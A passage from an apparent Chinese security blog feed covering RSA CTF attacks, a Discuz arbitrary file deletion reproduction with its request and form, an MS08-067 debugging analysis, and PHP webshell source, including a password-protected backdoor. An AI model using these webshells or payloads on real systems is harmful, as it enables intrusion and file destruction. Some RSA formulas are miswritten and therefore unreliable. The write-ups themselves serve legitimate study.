<p>此题首先从pem中提取N和e,然后上yafu,直接分解成功。</p> <h2 id="低加密指数攻击">低加密指数攻击</h2> <p>在RSA中e也称为加密指数。由于e是可以随意选取的,选取小一点的e可以缩短加密时间,但是选取不当的话,就会造成安全问题。</p> <h3 id="e3时的小明文攻击">e=3时的小明文攻击</h3> <p>当e=3时,如果明文过小,导致明文的三次方仍然小于n,那么通过直接对密文三次开方,即可得到明文。</p> <p>即:</p> <p>$c = m^e mod φ(n)$</p> <p>如果e=3,且 m^e &lt; n,那么:</p> <p>$c = m^e$ $e = 3$ $m = \sqrt{3} c$</p> <p>如果明文的三次方比n大,但是不是足够大,那么设k,有:</p> <p>$c = m^e+kn$</p> <p>爆破k,如果$c-kn$能开三次根式,那么可以直接得到明文。</p> <p><strong>题目识别</strong></p> <p>在e=3的时候首先尝试这种方法</p> <p><strong>例题</strong></p> <p><a href="https://www.jarvisoj.com">https://www.jarvisoj.com</a> (Extremely hard RSA)</p> <p>关键代码如下:此题通过不断给明文+n开三次方即可求得:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python">i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> <span style="color:#66d9ef">while</span> <span style="color:#ae81ff">1</span>: <span style="color:#66d9ef">if</span>(gmpy<span style="color:#f92672">.</span>root(c<span style="color:#f92672">+</span>i<span style="color:#f92672">*</span>N, <span style="color:#ae81ff">3</span>)[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">==</span><span style="color:#ae81ff">1</span>): <span style="color:#66d9ef">print</span> gmpy<span style="color:#f92672">.</span>root(c<span style="color:#f92672">+</span>i<span style="color:#f92672">*</span>N, <span style="color:#ae81ff">3</span>) <span style="color:#66d9ef">break</span> i<span style="color:#f92672">=</span>i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span> </code></pre></div><h3 id="低加密指数广播攻击">低加密指数广播攻击</h3> <p>如果选取的加密指数较低,并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。</p> <p>即,选取了相同的加密指数e(这里取e=3),对相同的明文m进行了加密并进行了消息的传递,那么有:</p> <p>$ c_1 = m^e$ $mod$ $n_1$</p> <p>$c_2 = m^e$ $mod$ $n_2$</p> <p>$ c_3 = m^e$ $mod$ $n_3$</p> <p>对上述等式运用中国剩余定理,在e=3时,可以得到:</p> <p>$ c_x = m^3$ $mod$ $n_1n_2n_3$</p> <p>通过对$ c_x $进行三次开方可以求得明文。</p> <p><strong>题目识别</strong></p> <p>一般来说都是给了三组加密的参数和明密文,其中题目很明确地能告诉你这三组的明文都是一样的,并且e都取了一个较小的数字。</p> <p><strong>例题:</strong></p> <p>SCTF2016,CODE300</p> <p>题目第二轮中通过流量包的方式给了广播攻击的参数。</p> <p>直接给国外类似一题的网址:<a href="http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet">http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet</a></p> <h3 id="coppersmith定理攻击">Coppersmith定理攻击</h3> <p>Coppersmith定理指出在一个e阶的mod n多项式f(x)中,如果有一个根小于,就可以运用一个O(log n)的算法求出这些根。</p> <p>Coppersmith定理指出在一个e阶的mod n多项式f(x)中,如果有一个根小于$ n^frac{1}{e} $,就可以运用一个O(log n)的算法求出这些根。</p> <p>这个定理可以应用于RSA算法。如果e = 3并且在明文当中只有三分之二的比特是已知的,这种算法可以求出明文中所有的比特。</p> <p>并未找到真题。</p> <h2 id="低解密指数攻击">低解密指数攻击</h2> <p>与低加密指数相同,低解密指数可以加快解密的过程,但是者也带来了安全问题。</p> <p>那么一种基于连分数(一个数论当中的问题)的特殊攻击类型就可以危害RSA的安全。此时需要满足:</p> <p>$q&lt;$$p$$&lt;2q$</p> <p>如果满足上述条件,通过Wiener Attack可以在多项式时间中分解n。</p> <p>rsa-wiener-attack的攻击源码开源在了github中,采取python编写,可以很容易使用。</p> <p><strong>题目识别</strong></p> <p>e看起来很大就行了。</p> <p><strong>例题</strong></p> <p>直接github用工具就行。<a href="https://github.com/pablocelayes/rsa-wiener-attack">https://github.com/pablocelayes/rsa-wiener-attack</a></p> <p>这里注意一个细节问题,如果在运行脚本的时候报错,请在脚本前加上:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#f92672">import</span> sys sys<span style="color:#f92672">.</span>setrecursionlimit(<span style="color:#ae81ff">10000000</span>) </code></pre></div><h2 id="共模攻击">共模攻击</h2> <p>如果在RSA的使用中使用了相同的模n对相同的明文m进行了加密,那么就可以在不分解n的情况下还原出明文m的值。即:</p> <p>$ c_1=m^{e_1}$ $mod$ $n$</p> <p>$ c_2=m^{e_2}$ $mod$ $n$</p> <p>即存在$ s_2 $,$ s_2 $使得:</p> <p>$ s1^{e_1} + s2^{e_2} = 1 $</p> <p>又因为</p> <p>$ c_1= m^{e_1}$ $mod$ $n$</p> <p>$ c_2 = m^{e_2}$ $mod$ $n$</p> <p>明文解出。</p> <p><strong>题目识别</strong></p> <p>非常简单,若干次加密,每次n都一样,明文根据题意也一样即可。</p> <p><strong>例题</strong></p> <p><a href="https://www.jarvisoj.com">https://www.jarvisoj.com</a> (very hard RSA)</p> <p>如果已知:n1,n2,c1,c2,e1,e2,并且其中n1=n2的话:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python">s <span style="color:#f92672">=</span> egcd(e1, e2) s1 <span style="color:#f92672">=</span> s[<span style="color:#ae81ff">1</span>] s2 <span style="color:#f92672">=</span> s[<span style="color:#ae81ff">2</span>] <span style="color:#66d9ef">print</span> s n<span style="color:#f92672">=</span>n1 <span style="color:#66d9ef">if</span> s1<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span>: s1 <span style="color:#f92672">=</span> <span style="color:#f92672">-</span> s1 c1 <span style="color:#f92672">=</span> modinv(c1, n) <span style="color:#66d9ef">elif</span> s2<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0</span>: s2 <span style="color:#f92672">=</span> <span style="color:#f92672">-</span> s2 c2 <span style="color:#f92672">=</span> modinv(c2, n) m<span style="color:#f92672">=</span>(pow(c1,s1,n)<span style="color:#f92672">*</span>pow(c2,s2,n)) <span style="color:#f92672">%</span> n </code></pre></div> Discuz2.5-3.4任意文件操作漏洞 https://p0st3r.github.io/post/ssv-93588/ Fri, 29 Sep 2017 00:00:00 +0000 https://p0st3r.github.io/post/ssv-93588/ <h2 id="简介">简介</h2> <p>Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。</p> <p>2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以任意删除文件。</p> <p>该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。</p> <ul> <li>影响版本: 2.5-3.4</li> <li>修复方案:</li> </ul> <p><a href="https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574">https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574</a></p> <p>删除unlink相关代码。</p> <h2 id="原理">原理</h2> <p>核心问题在 ==upload/source/include/spacecp/spacecp_profile.php==</p> <p>跟入代码70行,当提交 ==profilesubmit== 时进入判断,跟入177行</p> <p>我们发现如果满足配置文件中某个==formtype==的类型为 ==file==,我们就可以进入判断逻辑,我们接着看这次修复的改动,可以发现228行再次引入语句 ==unlink==</p> <p>当上传文件并上传成功,即可进入 unlink 语句</p> <p>然后回溯变量==$space[$key]==,不难发现这就是用户的个人设置。</p> <p>只要找到一个可以控制的变量即可,这里选择了 ==birthprovince。==</p> <p>在设置页面直接提交就可以绕过字段内容的限制了。</p> <p>成功实现了任意文件删除</p> <h2 id="复现">复现</h2> <p>环境:win7+phpstudy+discuz3.2</p> <p>新建importantfile.txt作为测试</p> <p>进入设置-个人资料,先在页面源代码找到formhash值</p> <pre><code>http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile </code></pre><p><img src="http://image.3001.net/images/20171005/15072139595386.png" alt=""></p> <p><img src="http://image.3001.net/images/20171005/15072139935642.png" alt=""></p> <p>可以看到formhash值是b21b6577。</p> <p>再访问</p> <pre><code>10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile&amp;op=base </code></pre><p>Post数据:</p> <pre><code>birthprovince=../../../importantfile.txt&amp;profilesubmit=1&amp;formhash=b21b6577 </code></pre><p>如图</p> <p><img src="http://image.3001.net/images/20171005/15072146208123.png" alt=""></p> <p>执行后</p> <p><img src="http://image.3001.net/images/20171005/15072140283751.png" alt=""></p> <p>出生地被修改成要删除的文件。</p> <p>最后构造表单执行删除文件</p> <pre><code>&lt;form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&amp;ac=profile&amp;op=base” method=”POST” enctype=”multipart/form-data”&gt; &lt;input type=”file” name=”birthprovince” id=”file” /&gt; &lt;input type=”text” name=”formhash” value=”b21b6577″/&gt;&lt;/p&gt; &lt;input type=”text” name=”profilesubmit” value=”1″/&gt;&lt;/p&gt; &lt;input type=”submit” value=”Submit” /&gt; &lt;/from&gt; </code></pre><p>随便上传一张图片,即可删除importantfile.txt</p> <p><img src="http://image.3001.net/images/20171005/15072140588158.png" alt=""></p> <p>成功删除importantfile.txt</p> <h2 id="修复">修复</h2> <p>Discuz!X 的码云已经更新修复了该漏洞</p> <p><a href="https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574">https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574</a></p> MS08-067漏洞原理及复现分析 https://p0st3r.github.io/publication/ms-08-067-analyise/ Tue, 12 Sep 2017 00:00:00 +0000 https://p0st3r.github.io/publication/ms-08-067-analyise/ <h2 id="445端口">445端口</h2> <p>首先介绍一下这个引发了诸多特大漏洞的445端口。</p> <p>TCP 445端口主要运行两种服务:</p> <ul> <li>SMB 网络服务</li> <li>MSRPC 网络服务</li> </ul> <p>**SMB(Server Message Block,服务器消息块)**首先提供了 Windows 网络中最常用的远程文件与打印机共享网络服务,其次,SMB的命名管道是 MSRPC 协议认证和调用本地服务的承载传输层。</p> <p>SMB 作为应用层协议,其直接运行在TCP 445端口上,也可通过调用 NBT 的 TCP 139端口来接收数据。</p> <p>**MSRPC(Microsoft Remote Procedure Call,微软远程过程调用)**是对 DCE/RPC 在 Windows 系统下的重新改进和实现,用以支持Windows系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。</p> <p>DCE/RPC 独立运行于网络传输层协议上,采用的网络传输层协议包括:</p> <ul> <li>ncacn_ip_tcp =&gt; TCP 139</li> <li>ncadg_ip_udp =&gt; UDP 135</li> <li>ncacn_np =&gt; TCP 139、445</li> </ul> <p>其中,主要使用的是 ncacn_np(SMB命名管道传输协议),也就是利用 SMB 命名管道机制作为 RPC 的承载传输协议(MSRPC over SMB)。</p> <p>只有少数如MS09-050是直接针对SMB服务的,而MSRPC作为调用大量本地服务进程的网络接口,常常被利用 MSRPC over SMB 为通道如MS08-067来攻击本地服务中存在的安全漏洞。</p> <h1 id="0x01-ms08-067漏洞原理">0x01 MS08-067漏洞原理</h1> <p>MS08-067漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的,而 NetPathCanonicalize 函数在远程访问其他主机时,会调用 NetpwPathCanonicalize 函数,对远程访问的路径进行规范化,而在 NetpwPathCanonicalize 函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。</p> <p>所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">**/*/./** =&gt; **\*\** **\*\..\** =&gt; **\** </code></pre></div><p>在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【..\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。</p> <h2 id="路径处理流程">路径处理流程</h2> <p>NetpwPathCanonicalize 函数并没有直接进行输入路径和规范化,而是继续调用了下级函数CanonicalizePathName 来进行路径整理,将待整理的路径字符串进行规范化,然后再<strong>保存到预先分配的输出路径缓冲区buffer中</strong>。</p> <p>路径处理流程:</p> <ol> <li>检查待整理路径的第一个字符</li> <li>调用msvcrt.dll模块的wcslen函数计算路径长度</li> <li>调用msvcrt.dll模块的wcscat函数把待整理路径全部复制到新申请的内存中</li> </ol> <p>\4. 调用wcscpy函数,去掉待整理路径中第一个表示父目录的相对路径复制到strTemp,如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">\******\..\..\*** =&gt; \..\*** </code></pre></div><p>5.循环调用wcscpy,直到路径整理完毕</p> <p>在这里我们知道了,在规范化复制时要寻找表示父目录的【..\】字符串及其前面的一个【\】字符串,将这一段去掉并将新路径复制。</p> <p><img src="v2-a227e632597e472caec3c37457455d8a_hd.png" alt="img"></p> <p>如图,第一次检查时去掉了第一个相对路径并复制到缓冲区</p> <p><strong>但是,当【..\】字符串在路径字符串的最前面时,那么其前面的一个【\】就在缓冲区外面了,就是在这里产生了向前(低地址)的溢出。</strong></p> <p><img src="v2-9709d2768dff1383b5a1dbb6567016a1_hd.png" alt="img"></p> <h2 id="缓冲区溢出">缓冲区溢出</h2> <p>需要明确的是,微软对路径规范化时的字符串复制可能出现的缓冲区溢出做了初步的防御。</p> <p>在每次向缓冲区中复制字符串时,无论是用 wcsccpy 还是 wcscat,在复制前总要比较源字符串的长度,保证长度小于某个值(207),否则不会继续复制,这一策略确保缓冲区不会向高地址溢出,即当前函数返回时不会发生问题。</p> <p>**但是注意,**在规范化表示路径,寻找父目录的【..\】字符串前面的【\】字符时,程序做了判断和边界检查:如果当前比较字符的地址与源字符串地址相同,就表明整个字符串已经查找完毕,程序就会停止查找。</p> <p>然而它唯独漏了一种情况,就是当父目录相对路径【..\】字符串在源字符串的开头时,在开始查找时比较的字符串(【\】到【..\】)位于缓冲区之外,这导致了复制的字符串向低地址的溢出,造成函数wcscpy的返回地址被覆盖。</p> <p><img src="v2-f51502175256d3571f471872250a7d2a_hd.png" alt="img"></p> <h1 id="0x02-漏洞还原分析">0x02 漏洞还原分析</h1> <p><strong>实验环境</strong></p> <ul> <li>靶机 Windows2003 SP0 EN</li> <li>漏洞组件 netapi32.dll</li> <li>工具 IDA Pro、OllyDbg</li> </ul> <p>选择 Windows XP SP3 EN 系统主机作为分析环境,定位到包含该安全漏洞的系统模块netapi32.dll(路径C:\Windows\system32)和调用漏洞服务 Server 的进程 svchost.exe,目标进程命令行为</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">C:\Windows\System32\svchost.exe-k netsvcs </code></pre></div><p>用 IDA pro 打开 netapi32.dll,找到漏洞所在的 NetpwPathCanonicalize 函(每次运行堆栈中的地址会不同,但各函数的地址一样),如图在书中提到</p> <blockquote> <p>查看该函数流程图,可以看到,此函数并没有直接进行输入路径的规范化, 而是继续调用了下级函数 CanonicalizePathName</p> </blockquote> <p>然而在实际操作中并没有发现 CanonicalizePathName 这个函数,并且多种资料表明应当是调用 CanonPathName 函数进行规范化。</p> <p>IDA分析 NetpwPathCanonicalize 函数代码(F5 + 整理 + 主要代码):</p> <p>该函数声明如下:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-c" data-lang="c">DWORD NetpwPathCanonicalize( LPWSTR PathName, <span style="color:#75715e">//需要标准化的路径 </span><span style="color:#75715e"></span> LPWSTR Outbuf, <span style="color:#75715e">//存储标准化后的路径的Buffer </span><span style="color:#75715e"></span> DWORD OutbufLen, <span style="color:#75715e">//Buffer长度 </span><span style="color:#75715e"></span> LPWSTR Prefix, <span style="color:#75715e">//可选参数,当PathName是相对路径时有用 </span><span style="color:#75715e"></span> LPDWORD PathType, <span style="color:#75715e">//存储路径类型 </span><span style="color:#75715e"></span> DWORD Flags <span style="color:#75715e">// 保留,为0 </span><span style="color:#75715e"></span> ) </code></pre></div><h2 id="动态调试">动态调试</h2> <p>通过wmic查看命令行参数为svchost.exe -k netsvcs的进程pid</p> <p><img src="v2-1288255ae58fb85ca4ac480f2c53a1e0_hd.png" alt="img"></p> <p>打开OllyDbg,点击file-&gt;attach,附着到svchost.exe进程上</p> <p><img src="1557342950869.png" alt="1557342950869"></p> <p>View-&gt;Executable modules双击netapi32,在cpu指令窗口右键选Search for查找exec(label) in current module,找到函数NetpwPathCanonicalize,地址为71C44A3E,在此处设下断点。</p> <p><img src="1557343007573.png" alt="1557343007573"></p> <h2 id="追踪漏洞触发过程">追踪漏洞触发过程</h2> <p>回到CPU指令窗口运行程序,然后攻击机Metasploit加载ms08_067_netapi模块并exploit</p> <p><img src="1557343016344.png" alt="1557343016344"></p> <h3 id="netpwpathcanonicalize中断">NetpwPathCanonicalize中断</h3> <p>分析环境中的svchost程序会中断在 NetpwPathCanonicalize 函数的入口地址处。该函数的传入参数如下所示:</p> <p><img src="1557343159242.png" alt="1557343159242"></p> <pre><code>esp [esp] * 注释 * 00ECF924 02248D34 ;指向待整理路径 00ECF928 022321D8 ;指向输出路径buffer 00ECF92C 000003F1 ;输出buffer的长度 00ECF930 02248FB0 ;指向prefix,值为 \x5C\x00 ,即unicode ‘\’ 00ECF934 02248FB4 ;指向路径类型,值为 0x1001 00ECF938 00000000 ;WORD Flags保留,值为0 </code></pre><h3 id="canonicalizepathname中断">CanonicalizePathName中断</h3> <p>结合IDA pro对 NetpwPathCanonicalize 的流程分析,在 地址处将调用下一级函数 CanonPathName,在此地址设下断点。</p> <p><img src="1557343329568.png" alt="1557343329568"></p> <p>运行到此断点,然后跟踪函数 CanonPathName,传入参数如下所示:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">00F0F8FC 00157570 ;指向prefix,值为\x5C\00,即Unicode&#34;\&#34; 00F0F900 001572F4 ;指向待整理路径 00F0F904 02132E80 ;指向输出路径的buffer 00F0F908 000003F9 ;输出buffer的长度 00F0F90C 00000000 ;WORD Flag保留字,值为0 </code></pre></div><p>从上两个函数的参数传递可以看出,函数 CanonPathName 进行路径整理,然后再保存到预先分配的输出路径缓冲区buffer中。</p> <h3 id="待整理路径结构">待整理路径结构</h3> <p>在OD中查看待整理路径的结构,路径是Unicode字符串,以【\x5C\x00】(Unicode字符“\”)开始,【\x00\x00】结束,中间包含一些随机的大小写字母,较长一段不可显示的字符是经过编码的Shellcode,其中最关键的是两个连在一起的父目录相对路径【....\】。</p> <p><img src="1557343359609.png" alt="1557343359609"></p> <p>整个待整理路径形如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">\******\..\..\*** </code></pre></div><h3 id="整理路径前的预操作">整理路径前的预操作</h3> <p>在待整理路径所在内存地址000C0F50处4字节上设内存访问断点</p> <p><img src="1557343390836.png" alt="1557343390836"></p> <p>按F9运行,会中断3次,前两次分别是检查待整理路径的第一个字符和调用wcslen函数,第三次是在调用wcscat函数。分析第三次传入栈中两个参数</p> <p><img src="1557343410176.png" alt="1557343410176"></p> <p>第一个是strDestination,指向一段以【\x5c\x00】开头的内存空间;第二个是strSource,指向上述待整理路径前两字节【\x5c\x00】后的内容。</p> <p>程序把待整理路径全部复制到strDestination,即0x001572F6处。在此4字节设断点,类型选择&quot;Hardware, on access&quot;DWord。</p> <p><img src="1557343435014.png" alt="1557343435014"></p> <h3 id="复制路径到缓冲区">复制路径到缓冲区</h3> <p>F9继续运行,第4次中断在0x77BD4010 ,内存里显示这里将src的前两个字符复制到了dest的【\x5C\x00】后面,这是由于这两个字节设了断点的原因。</p> <p><img src="1557343573648.png" alt="1557343573648"></p> <p>第5次中断在0x71C44B1C,位于wcscat函数内,内存显示已将src复制到dest,如图:</p> <p><img src="1557343589111.png" alt="1557343589111"></p> <p><img src="1557343606903.png" alt="1557343606903"></p> <h3 id="第一次路径规范化">第一次路径规范化</h3> <p>按F9运行,中断多次后停在内存0x77bd4d36处,通过栈可知此处属于wcscpy函数。此处调用该函数进行第一次路径规范化。如图</p> <p><img src="1557343631915.png" alt="1557343631915"></p> <p>当前参数src值为0x00EC6E0,指向【..***】;参数 strDestination 值为0x00ECF4DC,指向temp中的第一个字符【\】。 显然,这次路径规范化即把待整理路径中第一个字符【\】和第一个【..\】相对路径之间的内容抛弃。</p> <p><img src="1557343644183.png" alt="1557343644183"></p> <p>而此时wcscpy源地址src在edx寄存器中,指向【..***】;目的地址dest在ecx寄存器中,指向待整理路径第一个字符【\】,如图</p> <p><img src="1557343668919.png" alt="1557343668919"></p> <p>所以,这次字符串复制操作就是去掉第一个表示父目录的相对路径,即待整理路径temp中的第一个【\】和第一个【..\】之间的内容成为无用路径被抛弃。操作完成后,temp中的路径字符形如【..***】。</p> <p>第一次规范化后,待整理路径形如</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">\..\*** </code></pre></div><p>由于还有【..\】,还需要进行一次规范化,而这第二次规范化正是玄机所在。</p> <h3 id="第二次路径规范化">第二次路径规范化</h3> <p>由于每次路径规范化都会调用wcscpy函数,接下来删除0x00ECF4DC的硬件断点,直接在wcscpy函数的入口地址0x77BD4D28处下断点。</p> <p><img src="1557343841212.png" alt="1557343841212"></p> <p>F9运行后中断在wcscpy函数入口0x77BD4D28处,调用wcscpy函数传入的参数</p> <p><img src="1557343857034.png" alt="1557343857034"></p> <pre><code>esp [esp] * 注释 * 00ECF4AC 00ECF494 目的地址,指向的内存区域值为\x5c\x00,即【\】 00ECF4B0 00ECF4E2 源地址,指向第二个相对路径【\..\】的最后一个斜杠 </code></pre><p>正常情况下,这次规范化处理会和第一次执行同样的操作,去除第二个相对路径【..\】,从而完成第二次的路径规范化。但这里出现了一个意外的情况,temp的首地址是0x00ECF4DC,而此次字符串复制操作的目的地址dest却在0x00ECF494,在temp之前,如图</p> <p><img src="1557343903100.png" alt="1557343903100"></p> <p>同时注意到,栈指针ESP值为0x00ECF4A8,该地址指向wcscpy函数的返回地址0x71C52FD4。ESP到复制目的dest地址0x00ECF494只有0x14字节,于是,函数wcscpy如果继续执行,将用源字符串src覆盖wcscpy函数的返回地址。</p> <p>执行到retn命令,可以看到返回地址变成了0x0100129E,,该地址的指令为:</p> <pre><code>00100129E FFD6 call esi </code></pre><p>执行 call esi(ES=0x00F0F4DE)指令,正好将EIP指向复制尽量的字符串中构造好的第8字节空指令,接着是【\xeb\x62】(jmp 0x62),此jmp指令跳过中间的随机字符串,指向经过编码的Shellcode,如图</p> <p><img src="1557343946968.png" alt="1557343946968"></p> <p>所以这里是由于内存0x00F0F494处的一个【\】(0x5C),使得出现在处理父母了相对路径【..\】时往前溢出了待处理路径,从而将字符串覆盖到函数wcscpy返回地址的位置,跳转到shellcode造成远程代码执行。</p> <p>正如前面所提到的,当【..\】在源字符串开头的时候,在开始查找时,比较的字符位于缓冲区之外导致了向前的溢出。</p> 一些脚本后门的分析、编写及绕过技巧 https://p0st3r.github.io/post/webshell-bypass-strategy/ Sat, 20 May 2017 00:00:00 +0000 https://p0st3r.github.io/post/webshell-bypass-strategy/ <h2 id="0x00-php小马">0x00 PHP小马</h2> <p>表单中</p> <ul> <li>action属性为要提交的地址;</li> <li>PHP_SELF获取当前文件;</li> <li>DOCUMENT_ROOT获取当前运行脚本所在的文档根目录;</li> <li>textarea为多行文本输入框;</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?</span> $path<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;path&#39;</span>]; $data<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;data&#39;</span>]; $file<span style="color:#f92672">=</span><span style="color:#a6e22e">fopen</span>($path,<span style="color:#e6db74">&#34;w+&#34;</span>); <span style="color:#a6e22e">fwrite</span>($file,$data); <span style="color:#a6e22e">fclose</span>($file); <span style="color:#75715e">?&gt;</span> &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt; 读取当前文件路径: <span style="color:#75715e">&lt;?</span> <span style="color:#66d9ef">echo</span> $_SERVER[<span style="color:#e6db74">&#39;DOCUMENT_ROOT&#39;</span>]<span style="color:#f92672">.</span>$_SERVER[<span style="color:#e6db74">&#39;PHP_SELF&#39;</span>];<span style="color:#75715e">?&gt;</span>&lt;/<span style="color:#f92672">br</span>&gt; 保存路径:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;path&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> /&gt;&lt;<span style="color:#f92672">br</span>&gt; 写入内容:&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;data&#34;</span> <span style="color:#a6e22e">cols</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;90&#34;</span> <span style="color:#a6e22e">rows</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;50&#34;</span>&gt;&lt;/<span style="color:#f92672">textarea</span>&gt;&lt;/<span style="color:#f92672">br</span>&gt; &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;提交&#34;</span>/&gt; &lt;/<span style="color:#f92672">form</span>&gt; </code></pre></div><p><strong>有密码验证的PHP小马:</strong></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php">&lt;<span style="color:#f92672">html</span>&gt; &lt;<span style="color:#f92672">head</span>&gt; &lt;<span style="color:#f92672">title</span>&gt;<span style="color:#75715e">&lt;?</span><span style="color:#f92672">=</span>$_SERVER[<span style="color:#e6db74">&#39;SERVER_NAME&#39;</span>]<span style="color:#75715e">?&gt;</span>的后门小马&lt;/<span style="color:#f92672">title</span>&gt; &lt;/<span style="color:#f92672">head</span>&gt; <span style="color:#75715e">&lt;?php</span> <span style="color:#a6e22e">error_reporting</span>(<span style="color:#ae81ff">0</span>);<span style="color:#75715e">//不显示错误信息 </span><span style="color:#75715e"></span>$password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;xiaoxian&#34;</span>; <span style="color:#66d9ef">if</span> ($_GET[<span style="color:#a6e22e">pass</span>]<span style="color:#f92672">==</span>$password){<span style="color:#75715e">//判断输入的密码是否正确 </span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> ($_POST){ $path<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;path&#39;</span>];<span style="color:#75715e">//从表单获取的上传的路径 </span><span style="color:#75715e"></span> $data<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;data&#39;</span>];<span style="color:#75715e">//从表单获取的上传的内容 </span><span style="color:#75715e"></span> $file<span style="color:#f92672">=</span><span style="color:#a6e22e">fopen</span>($path,<span style="color:#e6db74">&#34;w+&#34;</span>); <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">fwrite</span>($file,$data)) <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Succeeded!&#34;</span>; <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Failed!&#34;</span>; <span style="color:#a6e22e">fclose</span>($file); } <span style="color:#66d9ef">else</span>{ <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;xiaoma.php with password by xiaoxian&#34;</span>; } <span style="color:#75715e">?&gt;</span>&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt; 服务器的IP地址和域名为:<span style="color:#75715e">&lt;?</span><span style="color:#f92672">=</span>$_SERVER[<span style="color:#e6db74">&#39;SERVER_NAME&#39;</span>]<span style="color:#75715e">?&gt;</span>(<span style="color:#75715e">&lt;?</span><span style="color:#f92672">=@</span><span style="color:#a6e22e">gethostbyname</span>($_SERVER[<span 